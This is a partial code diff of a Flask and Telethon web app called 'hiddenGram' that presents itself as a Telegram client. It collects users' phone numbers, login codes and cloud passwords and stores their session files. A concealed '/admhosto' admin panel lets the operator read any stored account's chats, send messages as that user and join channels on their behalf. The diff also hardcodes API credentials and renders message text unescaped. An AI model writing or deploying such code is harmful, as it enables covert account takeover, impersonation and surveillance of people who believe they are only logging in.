-                                msg_data['file_size'] = f"{(os.path.getsize(file_info) / (1024*1024)):.2f} MB" if os.path.exists(file_info) else "N/A"
-                            else:
-                                msg_data['file_name'] = "Download failed."
-                        except Exception as e:
-                            msg_data['file_name'] = f"Error downloading media: {e}"
-                            msg_data['file_size'] = ""
-                    elif isinstance(message.media, MessageMediaWebPage):
-                        msg_data['webpage_url'] = message.media.webpage.url
-                        msg_data['webpage_title'] = message.media.webpage.title
-                    elif isinstance(message.media, MessageMediaPoll):
-                        msg_data['poll_question'] = message.media.poll.question
-                    elif isinstance(message.media, MessageMediaGeo):
-                        msg_data['geo_coords'] = f"{message.media.geo.lat}, {message.media.geo.long}"
-                    elif isinstance(message.media, MessageMediaContact):
-                        msg_data['contact_name'] = f"{message.media.first_name} {message.media.last_name or ''}"
-                    elif isinstance(message.media, MessageMediaUnsupported):
-                        msg_data['unsupported_media'] = True
-                    else:
-                        msg_data['unsupported_media'] = True # General catch-all for other media types
-                messages_data.append(msg_data)
         except Exception as e:
-            return {'success': False, 'message': str(e)}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
-        return {'success': True, 'messages': messages_data}
-    return jsonify(asyncio.run(_get_messages_async()))
-@app.route('/download/<filename>')
-def download_file(filename):
-    """Allows downloading files from the downloads directory."""
-    return send_from_directory(DOWNLOAD_DIR, filename)
-@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/send_message', methods=['POST'])
-def api_send_message_to_chat(user_id, peer_id):
-    """API endpoint to send a message to a specific selected chat."""
     data = request.json
     message_content = data.get('message')
-    if not message_content:
-        return jsonify({'success': False, 'message': 'Message content cannot be empty.'}), 400
     async def _send_message_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
-            await client.send_message(peer_id, message_content)
             return {'success': True, 'message': 'Message sent successfully.'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
@@ -934,38 +937,34 @@ def api_send_message_to_chat(user_id, peer_id):
     result = asyncio.run(_send_message_async())
     return jsonify(result)
-@app.route('/api/user/<int:user_id>/join_chat', methods=['POST'])
-def api_join_chat(user_id):
-    """API endpoint for a user to join a chat/channel by identifier or invite link."""
     data = request.json
     chat_identifier = data.get('chat_identifier')
-    if not chat_identifier:
-        return jsonify({'success': False, 'message': 'Chat identifier or invite link is required.'}), 400
     async def _join_chat_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
             if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
-                # Extract invite hash: remove 't.me/joinchat/' or 't.me/+' and handle '+' in hash
                 invite_hash = chat_identifier.split('/')[-1]
                 if '+' in invite_hash:
                     invite_hash = invite_hash.replace('+', '')
                 await client(ImportChatInviteRequest(invite_hash))
             else:
-                # Try joining by username
                 if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
                     chat_identifier = '@' + chat_identifier
                 await client(JoinChannelRequest(chat_identifier))
-            return {'success': True, 'message': f'Successfully joined chat/channel: {chat_identifier}.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
         except UserNotParticipantError:
              return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
-        except PeerFloodError:
-            return {'success': False, 'message': 'Account is sending too many messages. Try again later.'}
         except Exception as e:
             return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
         finally:
@@ -975,42 +974,185 @@ def api_join_chat(user_id):
     result = asyncio.run(_join_chat_async())
     return jsonify(result)
-@app.route('/api/user/<int:user_id>/send_arbitrary_message', methods=['POST'])
-def api_send_arbitrary_message(user_id):
-    """API endpoint to send a message to any recipient (username or ID) from a user account."""
     data = request.json
-    recipient_id = data.get('recipient_id')
     message_content = data.get('message')
-    if not recipient_id or not message_content:
-        return jsonify({'success': False, 'message': 'Recipient and message content are required.'}), 400
-    async def _send_arbitrary_message_async():
         client, error = await get_user_client(user_id)
         if error:
             return {'success': False, 'message': error}
         try:
-            # Resolve recipient if it's a username
-            if not str(recipient_id).isdigit() and not recipient_id.startswith('-'): # Not an ID or channel ID
-                entity = await client.get_entity(recipient_id)
-                recipient_id = entity.id # Use resolved ID for sending
-            await client.send_message(recipient_id, message_content)
-            return {'success': True, 'message': f'Message sent to {recipient_id} successfully.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
-        except PeerFloodError:
-            return {'success': False, 'message': 'Account is sending too many messages. Try again later.'}
         except Exception as e:
-            return {'success': False, 'message': f'Error sending message to {recipient_id}: {e}.'}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
-    result = asyncio.run(_send_arbitrary_message_async())
     return jsonify(result)
 if __name__ == '__main__':
     init_db()
-    app.run(host=HOST, port=PORT, debug=True) # debug=True is good for development, set to False in production

 import os
 import sqlite3
 from pathlib import Path
+import datetime
+from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
 from telethon.sync import TelegramClient
+from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
 from telethon.tl.functions.messages import ImportChatInviteRequest
 from telethon.tl.functions.channels import JoinChannelRequest
+from telethon.tl.types import User, Chat, Channel
 app = Flask(__name__)
+# Configuration
+app.secret_key = os.urandom(24) # IMPORTANT: For production, use a strong, securely stored key
+API_ID = '22328650'
+API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
 HOST = '0.0.0.0'
 PORT = 7860
 SESSION_DIR = 'sessions'
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
+# Database Initialization
 def init_db():
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
             id INTEGER PRIMARY KEY AUTOINCREMENT,
             telegram_id TEXT UNIQUE,
             username TEXT,
+            phone TEXT,
+            session_file TEXT,
             created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
         )''')
         conn.commit()
+# Helper to get TelegramClient for a user
 async def get_user_client(user_id):
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
         c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
         if not result:
             return None, "User not found"
         session_file = result[0]
     client = TelegramClient(session_file, API_ID, API_HASH)
     try:
         await client.connect()
         if not await client.is_user_authorized():
+            return None, "Client not authorized. Please log in again."
     except Exception as e:
+        return None, f"Failed to connect or authorize client: {e}"
     return client, None
+# HTML Templates (Strings)
 LOGIN_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Login</title>
     <style>
+        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
+        .container { background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); max-width: 400px; width: 90%; text-align: center; }
+        h1 { color: #00ff00; margin-bottom: 20px; font-size: 2.2em; }
+        input[type="text"], input[type="password"] { width: calc(100% - 22px); padding: 12px; margin: 10px 0; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; font-size: 1em; }
+        button { background: #00ff00; color: #1a1a1a; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 15px; transition: background 0.3s ease; width: 100%; }
+        button:hover { background: #00cc00; }
+        .message { margin-top: 20px; padding: 10px; border-radius: 5px; font-size: 0.9em; }
+        .message.success { background: #2e8b57; color: #e0e0e0; }
+        .message.error { background: #cc0000; color: #e0e0e0; }
+        .hidden { display: none; }
     </style>
 </head>
 <body>
     <div class="container">
+        <h1>hiddenGram</h1>
+        <div class="form">
             <input type="text" id="phone" placeholder="Phone number (+1234567890)">
             <button onclick="startLogin()">Start Login</button>
+            <input type="text" id="code" placeholder="Verification code" class="hidden">
+            <input type="password" id="password" placeholder="Cloud password" class="hidden">
+            <button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
+            <button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
         </div>
+        <div id="statusMessage" class="message hidden"></div>
     </div>
     <script>
         let phone = '';
         let phoneCodeHash = '';
         const statusMessageDiv = document.getElementById('statusMessage');
+        function showMessage(msg, type = 'info') {
+            statusMessageDiv.textContent = msg;
+            statusMessageDiv.className = `message ${type}`;
+            statusMessageDiv.classList.remove('hidden');
         }
         async function startLogin() {
             phone = document.getElementById('phone').value;
             if (!phone) {
+                showMessage('Please enter your phone number.', 'error');
                 return;
             }
             showMessage('Sending code...', 'info');
             });
             const result = await response.json();
             if (result.success) {
                 if (result.phone_code_hash) {
                     phoneCodeHash = result.phone_code_hash;
+                    document.getElementById('code').classList.remove('hidden');
+                    document.getElementById('submitCode').classList.remove('hidden');
+                    showMessage(result.message, 'success');
                 } else {
+                    showMessage(result.message + ' Redirecting...', 'success');
+                    window.location.href = '/app';
                 }
             } else {
                 showMessage('Login failed: ' + result.message, 'error');
             });
             const result = await response.json();
             if (result.success) {
+                showMessage(result.message + ' Redirecting...', 'success');
+                window.location.href = '/app';
             } else if (result.password_required) {
                 showMessage(result.message, 'info');
+                document.getElementById('password').classList.remove('hidden');
+                document.getElementById('submitPassword').classList.remove('hidden');
+                document.getElementById('submitCode').classList.add('hidden');
+                document.getElementById('code').classList.add('hidden');
             } else {
+                showMessage('Login failed: ' + result.message, 'error');
             }
         }
             });
             const result = await response.json();
             if (result.success) {
+                showMessage(result.message + ' Redirecting...', 'success');
+                window.location.href = '/app';
+            } else {
+                showMessage('Login failed: ' + result.message, 'error');
+            }
+        }
+    </script>
+</body>
+</html>
+'''
+HIDDENGRAM_APP_TEMPLATE = '''
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>hiddenGram</title>
+    <style>
+        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 0; display: flex; flex-direction: column; height: 100vh; overflow: hidden; }
+        .header { background: #282828; padding: 15px 20px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; }
+        .header h1 { margin: 0; color: #00ff00; font-size: 1.8em; }
+        .header button { background: #ff4d4d; color: #fff; padding: 8px 15px; border: none; border-radius: 5px; cursor: pointer; font-size: 0.9em; transition: background 0.3s ease; }
+        .header button:hover { background: #cc0000; }
+        .main-content { display: flex; flex: 1; overflow: hidden; }
+        .sidebar { flex: 0 0 350px; background: #222; border-right: 1px solid #333; overflow-y: auto; display: flex; flex-direction: column; }
+        .sidebar-header { padding: 15px; border-bottom: 1px solid #333; background: #282828; }
+        .sidebar-header h2 { margin: 0; color: #00ff00; font-size: 1.2em; }
+        .chat-list { flex: 1; overflow-y: auto; }
+        .chat-item { padding: 15px 20px; border-bottom: 1px solid #333; cursor: pointer; transition: background 0.2s ease; }
+        .chat-item:hover, .chat-item.active { background: #3a3a3a; }
+        .chat-item h3 { margin: 0; font-size: 1.1em; color: #fff; }
+        .chat-item p { margin: 5px 0 0; font-size: 0.9em; color: #bbb; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+        .chat-panel { flex: 1; display: flex; flex-direction: column; background: #1a1a1a; }
+        .chat-panel-header { background: #282828; padding: 15px 20px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; }
+        .chat-panel-header h2 { margin: 0; color: #fff; font-size: 1.2em; }
+        .chat-panel-header span { font-size: 0.9em; color: #aaa; }
+        .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; }
+        .message-item { margin-bottom: 15px; padding: 12px 15px; border-radius: 8px; max-width: 70%; word-wrap: break-word; }
+        .message-item.sent { background: #005600; align-self: flex-end; }
+        .message-item.received { background: #3a3a3a; align-self: flex-start; }
+        .message-sender { font-weight: bold; color: #00ff00; margin-bottom: 5px; display: block; }
+        .message-text { color: #e0e0e0; font-size: 0.95em; line-height: 1.4; }
+        .message-meta { font-size: 0.75em; color: #aaa; margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
+        .media-link:hover { text-decoration: underline; }
+        .chat-input-area { background: #282828; padding: 15px 20px; border-top: 1px solid #333; display: flex; gap: 10px; }
+        .chat-input-area textarea { flex: 1; padding: 10px; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; resize: none; overflow-y: auto; max-height: 100px; font-size: 1em; }
+        .chat-input-area button { background: #00ff00; color: #1a1a1a; padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; font-weight: bold; transition: background 0.3s ease; }
+        .chat-input-area button:hover { background: #00cc00; }
+        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #aaa; font-size: 1.2em; }
+        .join-chat-section { padding: 15px; border-top: 1px solid #333; background: #282828; display: flex; flex-direction: column; gap: 10px; }
+        .join-chat-section input { width: calc(100% - 22px); padding: 10px; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; font-size: 1em; }
+        .join-chat-section button { background: #0099ff; color: #fff; padding: 10px 15px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; transition: background 0.3s ease; }
+        .join-chat-section button:hover { background: #0077cc; }
+        @media (max-width: 768px) {
+            .main-content { flex-direction: column; }
+            .sidebar { flex: none; width: 100%; max-height: 40vh; border-right: none; border-bottom: 1px solid #333; }
+            .chat-panel { flex: 1; }
+        }
+    </style>
+</head>
+<body>
+    <div class="header">
+        <h1>hiddenGram</h1>
+        <div>
+            <button onclick="logout()">Logout</button>
+        </div>
+    </div>
+    <div class="main-content">
+        <div class="sidebar">
+            <div class="sidebar-header">
+                <h2>Chats</h2>
+            </div>
+            <div class="chat-list" id="chatList">
+                <!-- Chats will be loaded here by JavaScript -->
+            </div>
+            <div class="join-chat-section">
+                <input type="text" id="joinChatIdentifier" placeholder="Join Channel/Group (username or invite link)">
+                <button onclick="joinChat()">Join Chat</button>
+            </div>
+        </div>
+        <div class="chat-panel" id="chatPanel">
+            <div class="no-chat-selected" id="noChatSelected">Select a chat to view messages</div>
+            <div class="chat-panel-header" id="chatPanelHeader" style="display:none;">
+                <h2 id="chatTitle"></h2>
+                <span id="chatInfo"></span>
+            </div>
+            <div class="messages-container" id="messagesContainer" style="display:none;">
+                <!-- Messages will be loaded here by JavaScript -->
+            </div>
+            <div class="chat-input-area" id="chatInputArea" style="display:none;">
+                <textarea id="messageInput" placeholder="Type a message..." rows="1"></textarea>
+                <button onclick="sendMessage()">Send</button>
+            </div>
+        </div>
+    </div>
+    <script>
+        let currentChatId = null;
+        let currentChatTitle = '';
+        let currentChatType = '';
+        function adjustTextareaHeight() {
+            const textarea = document.getElementById('messageInput');
+            textarea.style.height = 'auto';
+            textarea.style.height = textarea.scrollHeight + 'px';
+        }
+        document.addEventListener('DOMContentLoaded', adjustTextareaHeight);
+        document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
+        async function fetchChats() {
+            const response = await fetch('/api/user_chats');
+            const result = await response.json();
+            const chatListDiv = document.getElementById('chatList');
+            chatListDiv.innerHTML = '';
+            if (result.success && result.chats) {
+                result.chats.forEach(chat => {
+                    const chatItem = document.createElement('div');
+                    chatItem.classList.add('chat-item');
+                    if (currentChatId === chat.id) {
+                        chatItem.classList.add('active');
+                    }
+                    chatItem.dataset.id = chat.id;
+                    chatItem.dataset.title = chat.title;
+                    chatItem.dataset.type = chat.type;
+                    chatItem.innerHTML = `
+                        <h3>${chat.title}</h3>
+                        <p>${chat.type} ${chat.participants ? '| Participants: ' + chat.participants : ''}</p>
+                    `;
+                    chatItem.onclick = () => selectChat(chat.id, chat.title, chat.type);
+                    chatListDiv.appendChild(chatItem);
+                });
+            } else {
+                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #aaa;">${result.message || 'No chats found.'}</p>`;
+            }
+        }
+        async function selectChat(chatId, chatTitle, chatType) {
+            currentChatId = chatId;
+            currentChatTitle = chatTitle;
+            currentChatType = chatType;
+            document.querySelectorAll('.chat-item').forEach(item => {
+                item.classList.remove('active');
+            });
+            document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
+            document.getElementById('noChatSelected').style.display = 'none';
+            document.getElementById('chatPanelHeader').style.display = 'flex';
+            document.getElementById('messagesContainer').style.display = 'flex';
+            document.getElementById('chatInputArea').style.display = 'flex';
+            document.getElementById('chatTitle').textContent = chatTitle;
+            document.getElementById('chatInfo').textContent = chatType;
+            await fetchMessages(chatId);
+        }
+        async function fetchMessages(chatId) {
+            const messagesContainer = document.getElementById('messagesContainer');
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
+            messagesContainer.scrollTop = messagesContainer.scrollHeight;
+            const response = await fetch(`/api/chat_messages/${chatId}`);
+            const result = await response.json();
+            messagesContainer.innerHTML = '';
+            if (result.success && result.messages) {
+                const fragment = document.createDocumentFragment();
+                result.messages.reverse().forEach(msg => { // Display new messages at the bottom
+                    const messageItem = document.createElement('div');
+                    messageItem.classList.add('message-item');
+                    messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
+                    let senderInfo = '';
+                    if (!msg.is_sent) { // Only show sender name for received messages
+                        senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
+                    }
+                    let mediaHtml = '';
+                    if (msg.file_name) {
+                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
+                    }
+                    messageItem.innerHTML = `
+                        ${senderInfo}
+                        ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
+                        ${mediaHtml}
+                        ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
+                        <div class="message-meta">${msg.date}</div>
+                    `;
+                    fragment.prepend(messageItem); // Prepend to add to top so reverse works visually
+                });
+                messagesContainer.appendChild(fragment);
+                messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom
+            } else {
+                messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found.'}</p>`;
+            }
+        }
+        async function sendMessage() {
+            if (!currentChatId) {
+                alert('Please select a chat first.');
+                return;
+            }
+            const message = document.getElementById('messageInput').value;
+            if (!message.trim()) {
+                alert('Message cannot be empty.');
+                return;
+            }
+            const response = await fetch('/api/send_message', {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ chat_id: currentChatId, message })
+            });
+            const result = await response.json();
+            if (result.success) {
+                document.getElementById('messageInput').value = '';
+                adjustTextareaHeight();
+                await fetchMessages(currentChatId); // Reload messages to show sent message
             } else {
+                alert('Failed to send message: ' + result.message);
             }
         }
+        async function joinChat() {
+            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
+            if (!chatIdentifier.trim()) {
+                alert('Please enter a channel/group username or invite link.');
+                return;
+            }
+            const response = await fetch('/api/join_chat', {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ chat_identifier: chatIdentifier })
+            });
+            const result = await response.json();
+            alert(result.message);
+            if (result.success) {
+                document.getElementById('joinChatIdentifier').value = '';
+                await fetchChats(); // Refresh chat list
+            }
+        }
+        async function logout() {
+            if (confirm('Are you sure you want to log out?')) {
+                const response = await fetch('/api/logout', { method: 'POST' });
+                const result = await response.json();
+                if (result.success) {
+                    window.location.href = '/';
+                } else {
+                    alert('Logout failed: ' + result.message);
+                }
+            }
+        }
+        fetchChats(); // Load chats on page load
     </script>
 </body>
 </html>
 '''
+ADMHOSTO_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Admin Panel</title>
     <style>
+        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 20px; }
+        .container { max-width: 900px; margin: auto; background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); }
+        h1, h2 { text-align: center; color: #00ff00; margin-bottom: 25px; }
+        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
+        th, td { padding: 12px; border: 1px solid #444; text-align: left; }
+        th { background: #3a3a3a; color: #00ff00; }
+        tr:nth-child(even) { background: #2f2f2f; }
+        tr:hover { background: #3a3a3a; }
+        a { color: #0099ff; text-decoration: none; transition: color 0.3s ease; }
+        a:hover { text-decoration: underline; color: #0077cc; }
+        .back-button { margin-top: 30px; text-align: center; }
     </style>
 </head>
 <body>
                 <tr>
                     <td>{{ user[0] }}</td>
                     <td>{{ user[1] }}</td>
+                    <td>{{ user[2] }}</td>
                     <td>{{ user[3] }}</td>
                     <td>
+                        <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
                     </td>
                 </tr>
                 {% endfor %}
             </tbody>
         </table>
+        <div class="back-button">
+            <a href="/">Back to Login</a>
         </div>
     </div>
 </body>
 </html>
 '''
+ADMHOSTO_MANAGE_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>hiddenGram - Manage Account: {{ user.username or user.phone }}</title>
     <style>
+        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 20px; }
+        .container { max-width: 1000px; margin: auto; background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); }
+        h1, h2 { text-align: center; color: #00ff00; margin-bottom: 20px; }
+        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #aaa; }
+        .split-panel { display: flex; gap: 25px; margin-top: 25px; }
+        .split-panel > div { flex: 1; background: #3a3a3a; padding: 20px; border-radius: 8px; }
+        .action-panel h2, .chat-list-panel h2, .message-viewer h2 { color: #00ff00; margin-top: 0; margin-bottom: 15px; text-align: center; }
+        input[type="text"], textarea { width: calc(100% - 22px); padding: 12px; margin: 8px 0; border: 1px solid #555; border-radius: 5px; background: #4a4a4a; color: #fff; font-size: 1em; }
+        textarea { resize: vertical; min-height: 80px; }
+        button { background: #00ff00; color: #1a1a1a; padding: 12px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 10px; width: 100%; transition: background 0.3s ease; }
+        button:hover { background: #00cc00; }
+        .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #555; border-radius: 5px; }
+        .chat-item { padding: 12px 15px; border-bottom: 1px solid #4a4a4a; cursor: pointer; transition: background 0.2s ease; }
+        .chat-item:hover, .chat-item.active { background: #5a5a5a; }
+        .chat-item:last-child { border-bottom: none; }
+        .chat-item h3 { margin: 0; font-size: 1.05em; color: #fff; }
+        .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #bbb; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+        .message-viewer { margin-top: 25px; background: #3a3a3a; padding: 20px; border-radius: 8px; }
+        .messages-container { max-height: 500px; overflow-y: auto; padding: 10px; border: 1px solid #555; border-radius: 5px; background: #2f2f2f; margin-top: 15px; display: flex; flex-direction: column-reverse; }
+        .message-item { margin-bottom: 15px; padding: 10px 12px; border-radius: 6px; max-width: 90%; word-wrap: break-word; }
+        .message-item.sent { background: #005600; align-self: flex-end; }
+        .message-item.received { background: #4a4a4a; align-self: flex-start; }
+        .message-sender { font-weight: bold; color: #00ff00; margin-bottom: 5px; display: block; }
+        .message-text { color: #e0e0e0; font-size: 0.9em; line-height: 1.4; }
+        .message-meta { font-size: 0.7em; color: #aaa; margin-top: 5px; text-align: right; }
         .media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
         .media-link:hover { text-decoration: underline; }
+        .back-button { margin-top: 30px; text-align: center; }
+        .clear-chat-selection { text-align: center; margin-top: 15px; }
+        .clear-chat-selection button { background: #4a4a4a; color: #e0e0e0; width: auto; padding: 8px 15px; }
+        .clear-chat-selection button:hover { background: #5a5a5a; }
     </style>
 </head>
 <body>
+    <div class="container">
+        <h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
+        <div class="user-info">Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
+        <div class="split-panel">
+            <div class="action-panel">
+                <h2>Send Message</h2>
+                <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
+                <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
+                <button onclick="sendMessage({{ user.id }})">Send Message</button>
+                <h2 style="margin-top: 30px;">Join Chat</h2>
+                <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
+                <button onclick="joinChat({{ user.id }})">Join Chat</button>
             </div>
+            <div class="chat-list-panel">
+                <h2>Chats</h2>
+                <div class="chat-list" id="chatList">
+                    {% if chats %}
+                        {% for chat in chats %}
+                            <div class="chat-item" data-id="{{ chat.id }}" data-title="{{ chat.title }}" data-type="{{ chat.type }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}', '{{ chat.type | e }}')">
+                                <h3>{{ chat.title }}</h3>
+                                <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
+                            </div>
+                        {% endfor %}
+                    {% else %}
+                        <p style="padding: 15px; text-align: center;">No chats found.</p>
+                    {% endif %}
+                </div>
+                <div class="clear-chat-selection">
+                    <button onclick="clearChatSelection()">Clear Selection</button>
+                </div>
             </div>
         </div>
+        <div class="message-viewer" id="messageViewer" style="display:none;">
+            <h2 id="messagesChatTitle"></h2>
+            <div class="messages-container" id="messagesContainer">
+                <!-- Messages will be loaded here by JavaScript -->
             </div>
         </div>
+        <div class="back-button">
+            <a href="/admhosto">Back to Admin Panel</a>
         </div>
     </div>
     <script>
+        let currentUserId = {{ user.id }};
+        let currentSelectedChatId = null;
+        function clearChatSelection() {
+            currentSelectedChatId = null;
+            document.getElementById('messageViewer').style.display = 'none';
+            document.querySelectorAll('.chat-item').forEach(item => {
+                item.classList.remove('active');
             });
         }
+        async function selectChat(userId, chatId, chatTitle, chatType) {
+            currentSelectedChatId = chatId;
             document.querySelectorAll('.chat-item').forEach(item => {
                 item.classList.remove('active');
             });
+            document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
+            document.getElementById('messageViewer').style.display = 'block';
+            document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}" (${chatType})`;
+            const messagesContainer = document.getElementById('messagesContainer');
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
+            messagesContainer.scrollTop = messagesContainer.scrollHeight;
+            const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
+            const result = await response.json();
+            messagesContainer.innerHTML = '';
+            if (result.success && result.messages) {
+                const fragment = document.createDocumentFragment();
+                result.messages.reverse().forEach(msg => { // Display new messages at the bottom
+                    const messageItem = document.createElement('div');
+                    messageItem.classList.add('message-item');
+                    messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
+                    let senderInfo = '';
+                    if (!msg.is_sent) { // Only show sender name for received messages
+                        senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
+                    }
+                    let mediaHtml = '';
+                    if (msg.file_name) {
+                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
                     }
+                    messageItem.innerHTML = `
+                        ${senderInfo}
+                        ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
+                        ${mediaHtml}
+                        ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
+                        <div class="message-meta">${msg.date}</div>
+                    `;
+                    fragment.prepend(messageItem);
                 });
+                messagesContainer.appendChild(fragment);
+                messagesContainer.scrollTop = messagesContainer.scrollHeight;
+            } else {
+                messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found in this chat.'}</p>`;
             }
         }
+        async function sendMessage(userId) {
+            const chatId = document.getElementById('sendMessageRecipient').value;
+            const message = document.getElementById('sendMessageContent').value;
+            if (!chatId || !message.trim()) {
+                alert('Please enter recipient and message.');
                 return;
             }
+            const response = await fetch(`/admhosto/send_message/${userId}`, {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ chat_id: chatId, message })
+            });
+            const result = await response.json();
+            alert(result.message);
+            if (result.success) {
+                document.getElementById('sendMessageRecipient').value = '';
+                document.getElementById('sendMessageContent').value = '';
+                // Optionally refresh messages if current chat matches
+                if (currentSelectedChatId == chatId) {
+                    // Re-select to refresh messages
+                    selectChat(userId, currentSelectedChatId, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.title, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.type);
                 }
             }
         }
+        async function joinChat(userId) {
+            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
+            if (!chatIdentifier.trim()) {
+                alert('Please enter channel/group username or invite link.');
                 return;
             }
+            const response = await fetch(`/admhosto/join_chat/${userId}`, {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ chat_identifier: chatIdentifier })
+            });
+            const result = await response.json();
+            alert(result.message);
+            if (result.success) {
+                document.getElementById('joinChatIdentifier').value = '';
+                // Refresh chats list - simpler to just reload the page in this admin view
+                location.reload();
             }
         }
     </script>
 </body>
 </html>
 '''
+# Flask Routes
 @app.route('/')
 def index():
+    if 'user_id' in session:
